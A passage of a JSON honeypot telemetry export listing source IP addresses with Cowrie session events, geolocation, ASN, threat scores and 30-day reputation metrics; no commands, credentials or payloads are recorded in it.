      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T18:21:30.747000+00:00",
        "last_seen_30d": "2026-05-23T18:22:47.187000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.46.136.207": {
      "attack_count": 2,
      "first_seen": "2026-05-08T08:56:03.648Z",
      "last_seen": "2026-05-08T08:56:16.893Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:56:03.648000+00:00",
        "last_seen_30d": "2026-05-08T08:57:23.729000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.31.110.244": {
      "attack_count": 2,
      "first_seen": "2026-05-17T22:29:11.448Z",
      "last_seen": "2026-05-17T22:29:11.449Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T22:29:11.448000+00:00",
        "last_seen_30d": "2026-05-17T22:30:12.613000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.232.71.157": {
      "attack_count": 2,
      "first_seen": "2026-05-11T00:10:39.589Z",
      "last_seen": "2026-05-11T00:10:52.889Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T00:10:39.589000+00:00",
        "last_seen_30d": "2026-05-11T00:11:59.715000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "152.59.46.144": {
      "attack_count": 2,
      "first_seen": "2026-05-08T12:00:31.803Z",
      "last_seen": "2026-05-08T12:00:45.364Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Surat",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T12:00:31.803000+00:00",
        "last_seen_30d": "2026-05-08T12:01:49.613000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "178.105.120.46": {
      "attack_count": 2,
      "first_seen": "2026-05-19T22:05:37.111Z",
      "last_seen": "2026-05-19T22:05:38.983Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 24940,
      "as_org": "Hetzner Online GmbH",
      "threat_score": 44.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 23.5,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 224,
        "days_active_30d": 2,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-19T00:04:53+00:00",
        "last_seen_30d": "2026-05-20T00:07:55.831000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 188,
        "H0neytr4p": 17,
        "Honeytrap": 16,
        "Cowrie": 2,
        "Wordpot": 1
      }
    },
    "187.152.132.163": {
      "attack_count": 2,
      "first_seen": "2026-05-25T18:22:24.141Z",
      "last_seen": "2026-05-25T18:22:37.481Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Solidaridad",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T18:22:24.141000+00:00",
        "last_seen_30d": "2026-05-25T18:23:47.434000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.120.254.5": {
      "attack_count": 2,
      "first_seen": "2026-05-02T20:56:22.656Z",
      "last_seen": "2026-05-02T20:56:35.536Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Valencia",
      "asn": 264628,
      "as_org": "CORPORACION FIBEX TELECOM, C.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:56:22.656000+00:00",
        "last_seen_30d": "2026-05-02T20:57:42.518000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.186.21.128": {
      "attack_count": 2,
      "first_seen": "2026-05-04T20:12:40.516Z",
      "last_seen": "2026-05-04T20:12:53.385Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bolivia",
      "country_code": "BO",
      "city": "Santa Cruz de la Sierra",
      "asn": 25620,
      "as_org": "COTAS LTDA.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:12:40.516000+00:00",
        "last_seen_30d": "2026-05-04T20:13:54.589000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "193.117.164.86": {
      "attack_count": 2,
      "first_seen": "2026-05-19T16:47:00.589Z",
      "last_seen": "2026-05-19T16:47:13.852Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "City of Westminster",
      "asn": 47474,
      "as_org": "Virtual1 Limited",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T15:15:07.737000+00:00",
        "last_seen_30d": "2026-05-19T17:36:16.263000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 2
      }
    },
    "205.254.175.53": {
      "attack_count": 2,
      "first_seen": "2026-05-05T11:24:04.539Z",
      "last_seen": "2026-05-05T11:24:17.474Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Faridabad",
      "asn": 133982,
      "as_org": "Excitel Broadband Private Limited",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T11:24:04.539000+00:00",
        "last_seen_30d": "2026-05-05T11:25:27.367000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "213.135.137.118": {
      "attack_count": 2,
      "first_seen": "2026-05-02T07:22:16.044Z",
      "last_seen": "2026-05-02T07:22:49.196Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kotovsk",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T07:22:16.044000+00:00",
        "last_seen_30d": "2026-05-02T07:23:53.289000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "222.112.46.78": {
      "attack_count": 2,
      "first_seen": "2026-05-03T07:11:08.496Z",
      "last_seen": "2026-05-03T07:11:39.101Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Dongjak-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T07:11:08.496000+00:00",
        "last_seen_30d": "2026-05-03T07:12:48.093000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.188.233.46": {
      "attack_count": 2,
      "first_seen": "2026-05-10T13:39:06.548Z",
      "last_seen": "2026-05-10T13:39:19.543Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Matur\u00edn",
      "asn": 273173,
      "as_org": "TELECOM 3 C.A",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T13:39:06.548000+00:00",
        "last_seen_30d": "2026-05-10T13:40:20.741000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "38.52.132.167": {
      "attack_count": 2,
      "first_seen": "2026-05-21T10:54:10.556Z",
      "last_seen": "2026-05-21T10:54:24.098Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Paraguay",
      "country_code": "PY",
      "city": "Ciudad del Este",
      "asn": 61512,
      "as_org": "GIG@NET SOCIEDAD ANONIMA",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T10:54:10.556000+00:00",
        "last_seen_30d": "2026-05-21T10:55:25.194000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.83.227.172": {
      "attack_count": 2,
      "first_seen": "2026-05-16T12:13:27.737Z",
      "last_seen": "2026-05-16T12:13:40.636Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T12:13:27.737000+00:00",
        "last_seen_30d": "2026-05-16T12:14:46.858000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "43.142.113.25": {
      "attack_count": 2,
      "first_seen": "2026-05-31T19:38:08.356Z",
      "last_seen": "2026-05-31T19:38:39.163Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T19:38:08.356000+00:00",
        "last_seen_30d": "2026-05-31T19:39:43.767000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "45.182.213.189": {
      "attack_count": 2,
      "first_seen": "2026-05-06T08:15:17.815Z",
      "last_seen": "2026-05-06T08:15:30.599Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Cama\u00e7ari",
      "asn": 269251,
      "as_org": "DEISIANE SALES SANTOS - SW LINK",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T08:15:17.815000+00:00",
        "last_seen_30d": "2026-05-06T08:16:31.140000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.71.110.11": {
      "attack_count": 2,
      "first_seen": "2026-05-08T02:04:19.184Z",
      "last_seen": "2026-05-08T02:04:32.075Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Ilh\u00e9us",
      "asn": 267614,
      "as_org": "SIGAON SERVICOS TELECOMUNICACOES EIRELE",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:04:19.184000+00:00",
        "last_seen_30d": "2026-05-08T02:05:35.008000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.105.60.177": {
      "attack_count": 2,
      "first_seen": "2026-05-10T09:35:00.026Z",
      "last_seen": "2026-05-10T09:35:00.027Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Qingdao",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T09:35:00.026000+00:00",
        "last_seen_30d": "2026-05-10T09:36:03.850000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.151.151.66": {
      "attack_count": 2,
      "first_seen": "2026-05-05T05:51:16.645Z",
      "last_seen": "2026-05-05T05:51:29.743Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Monica",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T05:51:16.645000+00:00",
        "last_seen_30d": "2026-05-05T05:52:33.216000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.200.176.248": {
      "attack_count": 2,
      "first_seen": "2026-05-09T21:49:27.684Z",
      "last_seen": "2026-05-09T21:49:41.049Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Lakeland",
      "asn": 5650,
      "as_org": "Frontier Communications of America, Inc.",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T21:49:27.684000+00:00",
        "last_seen_30d": "2026-05-09T21:50:45.178000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.253.180.75": {
      "attack_count": 2,
      "first_seen": "2026-05-27T22:05:36.184Z",
      "last_seen": "2026-05-27T22:06:10.933Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhongshan",
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T22:05:36.184000+00:00",
        "last_seen_30d": "2026-05-27T22:07:18.207000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "59.126.40.239": {
      "attack_count": 2,
      "first_seen": "2026-05-15T04:26:54.836Z",
      "last_seen": "2026-05-15T04:27:26.171Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taichung",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T04:26:54.836000+00:00",
        "last_seen_30d": "2026-05-15T04:28:34.241000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "78.138.168.46": {
      "attack_count": 2,
      "first_seen": "2026-05-07T14:54:26.535Z",
      "last_seen": "2026-05-07T14:56:26.537Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Al'met'yevsk",
      "asn": 28840,
      "as_org": "Pjsc tattelecom",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T14:54:26.535000+00:00",
        "last_seen_30d": "2026-05-07T15:06:30.757000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "89.43.132.72": {
      "attack_count": 2,
      "first_seen": "2026-05-09T12:04:46.803Z",
      "last_seen": "2026-05-09T12:05:03.180Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hungary",
      "country_code": "HU",
      "city": null,
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T12:04:46.803000+00:00",
        "last_seen_30d": "2026-05-09T12:06:07.579000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.234": {
      "attack_count": 2,
      "first_seen": "2026-05-08T23:55:41.700Z",
      "last_seen": "2026-05-08T23:55:44.705Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 77.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 29,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T00:20:24.291000+00:00",
        "last_seen_30d": "2026-05-30T18:34:10.998000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 94,
        "Honeytrap": 17,
        "Cowrie": 2
      }
    },
    "91.80.135.180": {
      "attack_count": 2,
      "first_seen": "2026-05-15T12:09:38.532Z",
      "last_seen": "2026-05-15T12:09:51.054Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "San Giustino Valdarno",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T12:09:38.532000+00:00",
        "last_seen_30d": "2026-05-15T12:10:55.899000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.131.223.210": {
      "attack_count": 2,
      "first_seen": "2026-05-11T17:31:13.828Z",
      "last_seen": "2026-05-11T17:31:26.003Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": null,
      "asn": 49804,
      "as_org": "Mips Group LLC",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T17:31:13.828000+00:00",
        "last_seen_30d": "2026-05-11T17:32:29.524000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "95.95.84.140": {
      "attack_count": 2,
      "first_seen": "2026-05-29T23:12:15.443Z",
